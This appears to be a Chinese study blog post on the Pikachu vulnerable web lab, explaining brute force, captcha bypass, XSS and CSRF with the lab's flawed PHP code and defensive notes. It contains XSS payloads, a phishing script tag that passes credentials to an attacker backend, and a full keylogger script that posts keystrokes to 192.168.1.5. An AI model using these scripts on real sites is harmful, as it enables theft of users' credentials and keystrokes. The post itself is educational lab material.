pikachu靶场学习1

前提:靶场环境部署完成(GitHub:https://github.com/zhuifengshaonianhanlu/pikachu 下载源码,进入inc文件夹找到config.inc.php文件修改相关数据即可,若mysql端口冲突最好不要修改其默认的3306端口,将与之冲突的端口关闭即可)

文章目录

  • pikachu靶场学习1
    • 暴力破解漏洞
    • 关于bp
    • XSS漏洞(跨站脚本攻击漏洞)
  • 关于POST和GET请求:
    • csrf(跨站请求伪造)

暴力破解漏洞

理解: 暴力破解=连续性的尝试+字典+自动化(好的字典很重要)
测试:
1.确认登录接口脆弱性:尝试登陆,,有无验证手段,抓包分析;
2.优化字典,提高爆破效率;
3.配置自动化工具(比如线程、超时时间、重试次数等)

//典型的问题,没有验证码,没有其他控制措施,可以暴力破解
if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){$username = $_POST['username'];$password = $_POST['password'];$sql = "select * from users where username=? and password=md5(?)";$line_pre = $link->prepare($sql);

Burp suite-intruder中的Pasitions选项卡可指定需要暴力破解的参数并设置成变量,同时选择攻击模式:
Sniper狙击手:先将第一个动态变量使用字典测试,然后再测试第二个字典;
Battering ram冲撞车:所有变量一起用字典内容替换然后一起尝试;
Ptichfork草叉型:分别使用对应的字典对变量进行同时替换;
Cluster bomb集束炸弹:分别使用字典内容组合对变量进行替换。

可能遇到Problems:

  1. Runtime file的payload type下报错:payload set1:Specified runtime file does not exist
    路径错了,或者不能识别中文路径。
  2. 如图:
    可能遇到bp的http响应报文中的中文信息乱码的情况,在User Options – Display 中修改,修改字体为楷体,修改字符集UTF-8。

    验证码绕过:CAPTCHA—“Completely Automated Public Turing test to tell Computers and Humans Apart” :全自动区分计算机和人类的图灵测试。

验证码认证流程:

  • 客户端request登录页面,后台生成验证码:
  1. 后台使用算法生成图片,并将图片response给客户端;
  2. 同时将算法生成的值全局赋值存到SESSION中
    Session:在网络应用中称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web页时,如果该用户还没有会话,则Web服务器将自动创建一个 Session对象。当会话过期或被放弃后,服务器将终止该会话。 简单来说,session是服务器里面的一块可以存放东西的内存。);
    关于session和cookie
  • 校验验证码:
  1. 客户端将认证信息和验证码一起提交;
  2. 后台对提交的验证码与SESSION里面的进行比较(验证码但凡被验证过都会被即刻销毁,若前端只是请求了验证码没有发送验证,后台一般也会对验证码设置一个超时时间);
  • 客户端重新刷新页面,再次生成新的验证码:
    验证码算法中一般包含随机函数。

不安全的验证码(on client)
5. 未设置超时时间,验证码框通过前端JS实现,后台并未对其认证;
6. 后端以字符串形式响应到前端页面或前端cookie里面去(应用图片),都是可以在验证码被验证前在前端被程序获取。

<input type="text" onclick="createCode()" readonly="readonly" id="checkCode" class="unchanged" style="width: 100px" /></label>//仅在前端随机生成验证码,后端也不认证

不安全的验证码(on server)
7. 验证码在后台不过期;
8. 验证码逻辑校验不严;
9. 验证码设计的太过简单或有规律(因此需要追求安全而又不影响用户体验的验证方式)。

if (empty($_POST['vcode'])) {$html .= "<p class='notice'>验证码不能为空哦!</p>";} else {
//              验证验证码是否正确if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {$html .= "<p class='notice'>验证码输入错误哦!</p>";//应该在验证完成后,销毁该$_SESSION['vcode']}else{$username = $_POST['username'];$password = $_POST['password'];$vcode = $_POST['vcode'];$sql = "select * from users where username=? and password=md5(?)";$line_pre = $link->prepare($sql);$line_pre->bind_param('ss',$username,$password);if($line_pre->execute()){$line_pre->store_result();//虽然前面做了为空判断,但最后,却没有验证验证码!!!if($line_pre->num_rows()==1){$html.='<p> login success</p>';}else{$html.= '<p> username or password is not exists~</p>';

token 防爆破?

打开页面时,后端会在收到请求时生成一个token,然后把token放在它的session里面,同时把token输出到前端的表单里面来,目的是当点击账号密码登录时后台会对账号密码加token进行验证。但是由于token值已以字符串明文的方式输出到了HTML的表单里面,所以并不能起到防暴力破解的作用。

<form>
<input type="hidden" name="token" value="<?php echo $_SESSION['token'];?>" />
</form>

关于bp

  1. 使用bp抓包的时候有时会抓到很多url为http://detectportal.firefox.com/success.txt的无用数据包:

    从域名中可以看出是火狐浏览器的问题,查到是由于火狐浏览器默认开启Captive portal技术用于检测当前网络环境,搜索 about:config 关闭 network.captive-portal-service.en选项即可。

  2. bp抓不到浏览器的包,注意可能是ip设错,默认127.0.0.1的连接是不经过代理的,换为本机ip访问靶场即可。

XSS漏洞(跨站脚本攻击漏洞)

XSS(窃取cookie)攻击流程

XSS漏洞的形成: 脚本输入后,在输到前端时被浏览器当作有效代码解析执行。

if(isset($_GET['submit'])){if(empty($_GET['message'])){$html.="<p class='notice'>输入'kobe'试试-_-</p>";}else{if($_GET['message']=='kobe'){$html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";}else{$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";}//$_GET['message']无任何过滤措施

测试方法: (从输入输出角度确认是否存在该漏洞)
1.在输入点输入一组”特殊字符+唯一识别字符”, 提交后查看返回的源码,是否有做对应如过滤、转义处理;
2.通过搜索定位到唯一字符,结合唯一字符前后源码语法确认是否可以构造执行js的闭合条件;
3.输入payload测试(通过变化不同的script ,尝试绕过后台过滤机制),若构造的脚本代码可以成功执行,则说明存在XSS漏洞(浏览器的不同也可能会限制执行)。

不小心构造了存储型xss

  • 法一:火狐搜 :about:config,再查找javascript.enabled选项禁掉,就可以进入留言板界面删除留言(其他浏览器也是一样思路)。
  • 法二:去数据库把那段数据删了。
if(array_key_exists("message",$_POST) && $_POST['message']!=null){$message=escape($link, $_POST['message']);//插数据库时做了防SQL注入的转义$query="insert into message(content,time) values('$message',now())";$result=execute($link, $query);//message存入表中存在了后台if(mysqli_affected_rows($link)!=1){$html.="<p>数据库出现异常,提交失败!</p>";}
}
<p class="line">留言列表:</p><?php echo $html;$query="select * from message";$result=execute($link, $query);while($data=mysqli_fetch_assoc($result)){echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";}//但content字段输出时未转义echo $html;?>

关于复现钓鱼(get型)

  • 采用Basic认证来制作鱼饵,fish.php会用弹窗获取用户账号密码信息,并重定向到pkxss后台,钓鱼后台接口即为xfish.php文件(后端代码),通过get方式获取账号密码然后存到mysql里面。所以留言板页面上,我们可以用src去调用远端php文件获得弹窗。

    • Pikachu靶场系列之XSS钓鱼攻击与PHP中的HTTP认证

      发现!phpstudy的php版本有问题,会导致钓鱼认证框数据无法传输到后台,用mamp搭建的靶场就没事,或者改用
      <script src="http://IP/pikachu/pkxss/xfish/xfish.php?username=admin&password=123456"></script>
      这样不用认证框钓鱼也可以获得cookie。

    具体可见:
    pikachu中无法复现钓鱼攻击的解决办法
    XSS类型,防御及常见payload构造总结

关于POST和GET请求:

http请求方式有get,post,put,delete等,最常用的是get和post。他们本质上都是TCP链接,但是由于HTTP的规定和浏览器/服务器的限制,导致他们在响应时会体现出一些不同。 最直观的区别就是GET把参数包含在URL中,POST通过request body传递参数。

概念性理解:
get方法的含义更倾向于“检索”和“获取”;
post方法的含义更倾向于“创建/更新”。

例如,在靶场尝试登录等发送提交表单请求时,burpsuite就会抓到POST的数据包,POST请求是可以建立新的资源或修改已有资源的;而刷新页面、点击菜单等操作则是在请求指定页面信息,因此bp会抓到GET请求。

DOM型XSS:
HTML DOM(文档对象模型)
DOM可以理解为一个访问HTML的标准编程接口,在DOM里面会将HTML分为一个DOM树,首先我们知道HTML是由多个标签组成的充当结构作用的,
详细可见:w3school JavaScript HTML DOM

<script>function domxss(){var str = document.getElementById("text").value;document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}//通过innerHTML将获取到的id="text"写到了div里面//试试:'><img src="#" οnmοuseοver="alert('xss')">//试试:' οnclick="alert('xss')">,闭合掉就行</script><!--<a href="" onclick=('xss')>--><input id="text" name="text" type="text"  value="" /><input id="button" type="button" value="click me!" onclick="domxss()" /><div id="dom"></div>//这里输出,整个过程可以看到没有转义操作

DOM型XSS-X

 <script>function domxss(){var str = window.location.search;//获取url传参的参数内容(漏洞点在url参数里)var txss = decodeURIComponent(str.split("text=")[1]);//url解码,用正则表达式将字符串分割到数组中var xss = txss.replace(/\+/g,' ');//将获取的输入内容赋值给xss
//         alert(xss);document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";//将xss写入a标签}//试试:'><img src="#" οnmοuseοver="alert('xss')">//试试:' οnclick="alert('xss')">,闭合掉就行</script><!--<a href="" onclick=('xss')>--><form method="get"><input id="text" name="text" type="text"  value="" /><input id="submit" type="submit" value="请说出你的伤心往事"/></form><div id="dom"></div></div><a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>//执行function,它会把a标签内容写入div

管理员通过配置header( “Access -Control Allow- Origin:x.com” )可指定跨域操作。
也有些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的:

<script src="…">//js,加载到本地执行
<img src="…">//图片
<link href="…">//css
<iframe src="…">//任意资源

xss获取键盘记录步骤

function onkeypress() {var realkey = String.fromCharCode(event.keyCode);//eventkeyCode是JS里面用来获取键盘输入值的方法,把键盘输入值对应的Unicode获取到,然后fromCharCode转化为字符串,赋值给x1xl+=realkey;show();//再去调用show这个函数
}
document.onkeypress = onkeypress;function show() { //把获取到的内容通过ajax异步请求发送到后台ajax = createAjax();ajax.onreadystatechange = function () {if (ajax.readyState == 4) {if (ajax.status == 200) {var data = ajax.responseText;} else {alert("页面请求失败");}}}var postdate = xl;ajax.open("POST", "http://192.168.1.5/pikachu/pkxss/rkeypress/rkserver.php",true);//通过ajax的一个Post请求发送数据到另一个后台(这里进行了跨域操作)ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");ajax.setRequestHeader("Content-length", postdate.length);ajax.setRequestHeader("Connection", "close");ajax.send(postdate);
}

1.配置rkserver.php文件header(“Access-Control-Allow-Origin:*”);,其中传过来的post数据都会由rkserver.php中的一个参数data会由$query传到pkxss_keypress_result.php中存在mysql中,rk.js文件对用户的键盘输入进行获取,赋值给realkey,然后发送到攻击者后台(192.168.1.5的xss后台键盘记录中)
2.其中F12可以看见键盘输入的时候是有post请求的,去bp上同样可以看见,键盘按下的时候是发送了post请求(可以改为get)。

  • 看到说在 Firefox 中, keyCode 属性在 onkeypress 事件中是无效的 (返回 0)???火狐版本不同不尽然吧。

由于 ' 单引号不是HTML前端实体编码里面规范的一个编码,所以若没有给htmlspecialchars()指定类型,就是默认类型,不会对单引号进行处理,即使ENT_QUOTES处理了,若输出点特殊时仍会产生XSS漏洞。

 if($_GET['message'] == 'www.baidu.com'){$html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";}else {//输出在a标签的href属性里面,可以使用javascript协议来执行js//防御:只允许http,https,其次在进行htmlspecialchars处理$message=htmlspecialchars($_GET['message'],ENT_QUOTES);$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";}

虽然htmlspecialchars可以转义,但输出在a标签的herf属性里面的话,仍可以使用JavaScript协议(任何使用 URL 的地方都可以使用该协议—JS通信协议)来执行js;

  • 这个防范 :因为 < herf > 里面一般是用来写超链接的,所以只允许http;https开头的协议从这里输出,否则不允许输入,其次进行htmlspecialchars处理。

    注意输出的点是在javascript里面,通过用户输入动态生成了js代码,形成了xss。Javascript里面是不会对tag和实体字符进行解释的,所以如果想用htmlspecialchars对输入做实体编码处理的话,那输入变成实体编码之后在js里面不会解释回去,这样虽然解决了xss问题,输出不会构成合法JS,但是前端的功能逻辑是说,要完整的获取它的输入,但是输入又被html实体编码, 那它的输出在js里面实际上是没有用的,这样会导致前端的功能无法使用。所以在js里面的输出应该用\对特殊字符进行转义,也就是js转义。

    由此看来,输出点不同防范措施也应不同。

csrf(跨站请求伪造)

Cross-site request forgery漏洞,也称"one click"攻击。

csrf的形成:

  1. 在目标网站需要增删改的地方观察其源码逻辑是否严谨,判断请求是否容易被伪造;
  2. 确认凭证的有效期,若退出了浏览器,网页cookie仍然有效,或者session没有及时过期,都可导致CSRF漏洞存在。
if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null && $_GET['token']==$_SESSION['token'])
//验证若是前端传过来的token与后端不等不会执行下一步操作
 <form method="get"><input type="hidden" name="token" value="{$_SESSION['token']}" />//把session里面的token直接echo到value里面去,这样就实现后端生成token显示到前端,前端每次提交后端进行验证的逻辑//由于token和session绑定,随机生成且长,攻击者难以伪造所以起到防范作用</form>

攻击条件:
1.网站对关键信息的操作请求容易被伪造(无token);
2.攻击者借助目标用户的权限完成攻击(在用户登录态发送请求)。

  • GET型:直接修改url传参即可实现简单攻击;
  • POST型:因为是以表单的方式在请求体里提交,因此无法直接利用url方式攻击。和xss-post类似我们需要布一个站点,做一个表单,让目标用户点我们恶意站点表单的url,向页面提交post请求。

更多参考:
pikachu靶场全关卡讲解(含代码审计)
pikachu靶场通关

pikachu靶场学习1相关推荐

  1. 网络安全初学者工具安装:Kali,Windows xp虚拟机,pikachu靶场,burpsuite安装配置,phpstudy安装(学习笔记)

             摘要 在互联网发展的时代背景下,网络安全成为了越来越不可忽视的重要领域,为此,各国都采取了维护网络安全的举措,对于网络安全人才的需求不断增大,我国作为世界上最多使用计算机人口的国家, ...

  2. XSS学习-pikachu靶场之xss

    XSS漏洞介绍 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击 ...

  3. 结合pikachu和DVWA靶场学习文件包含漏洞

    结合pikachu和DVWA靶场学习文件包含漏洞 基本概念 包含的定义 文件包含的定义 相关函数 条件 分类 本地文件包含(Local File Inclusion,简称LFI) 定义 前提: 示例: ...

  4. [NOTE] Pikachu靶场练习笔记

    [NOTE] Pikachu靶场练习笔记 文章目录 [NOTE] Pikachu靶场练习笔记 前言 暴力破解 基于表单的暴力破解 验证码绕过(on server) 验证码绕过(on client) t ...

  5. Pikachu靶场全关详细教学(一)

    一.Pikachu靶场介绍 Pikachu靶场下载地址:https://github.com/zhuifengshaonianhanlu/pikachu ​ Pikachu是一个带有漏洞的Web应用系 ...

  6. Pikachu靶场之文件包含漏洞详解

    Pikachu靶场之文件包含漏洞详解 前言 文件包含漏洞简述 1.漏洞描述 2.漏洞原因 3.漏洞危害 4.如何防御 第一关 File Inclusion(local) 1.尝试读取"隐藏& ...

  7. Pikachu靶场之越权漏洞详解

    Pikachu靶场之越权漏洞详解 前言 逻辑越权漏洞简述 漏洞描述 漏洞原因 漏洞分类 水平越权 垂直越权 权限框架缺陷 如何防御 第一关 水平越权 问题分析 尝试防御 第二关 垂直越权 问题分析 尝 ...

  8. Pikachu靶场练习

    Pikachu靶场练习 自己学习用的,写不不好不准说我. 简介 Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞. 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶 ...

  9. 攻防系列——pikachu靶场通关练习

    目录 一.暴力破解 Burte Force(暴力破解)概述 (一)基于表单的暴力破解 (二)验证码绕过(on server) (三)验证码绕过(on client) (四)token 防爆破 二.Cr ...

  10. Pikachu靶场全级别通关教程详解

    pikach通关 暴力破解 Cross-Site Scripting XSS(跨站脚本)概述 跨站脚本漏洞类型及测试流程 跨站脚本漏洞常见类型 XSS漏洞形成的原因: 跨站脚本漏洞测试流程 tips ...

最新文章

  1. Session 详解
  2. 看看那些来自电路造型挑战赛中的作品
  3. NameNode任务线程之FSNamesystem$ReplicationMonitor
  4. 通过修改EIP寄存器实现强行跳转并且注入DLL到目标进程里
  5. 字节跳动如何做教育? | 详解
  6. java程序一写文件就崩溃_为什么直接修改java的.class文件会导致程序崩溃
  7. 维多利亚的秘密 2005-2018年视频合集
  8. 快速配置 Samba 将 Linux 目录映射为 Windows 驱动器
  9. 【动态规划】线性dp P1043 数字游戏
  10. 38.线程交换与线程移动
  11. 大学学生信息管理系统
  12. 2018湘潭大学程序设计竞赛【E】
  13. win10下pyt3.7安装scrapy后cmd运行相关命令SyntaxError: invalid syntax 解决办法
  14. 快速学习Grasshopper的方法
  15. C语言解题——从今天开始入坑C语言
  16. 为什么L0正则化是一个NP难解问题?
  17. openpyxl 单元格合并
  18. missing ios distribution signing identity xxx, xcode can request one for you
  19. 用Python绘制一朵玫瑰花,送给特别的她
  20. 文字转语音 相关软件

热门文章

  1. jq html怎么优化seo,长沙网站seo:浅谈SEO优化技巧之HTML结构调整!
  2. python提取图片中的文字并生成word文档
  3. 『论文笔记』Visually Grounded Reasoning across Languages and Cultures
  4. Win7文件夹怎么加密
  5. 服务器上的文件夹丢失怎么办,快速找回丢失文件夹选项的简单办法
  6. java 水晶按钮图片_JAVA GUI 开发---水晶图片按钮
  7. 程序人生 - 参与杭州车牌摇号人数已破百万!附杭州车牌摇号及竞价操作指南!
  8. 初中英语语法(017)-关系代词
  9. 动态隐藏和显示导航栏 (MTK)
  10. Linux系统通过console口连接交换机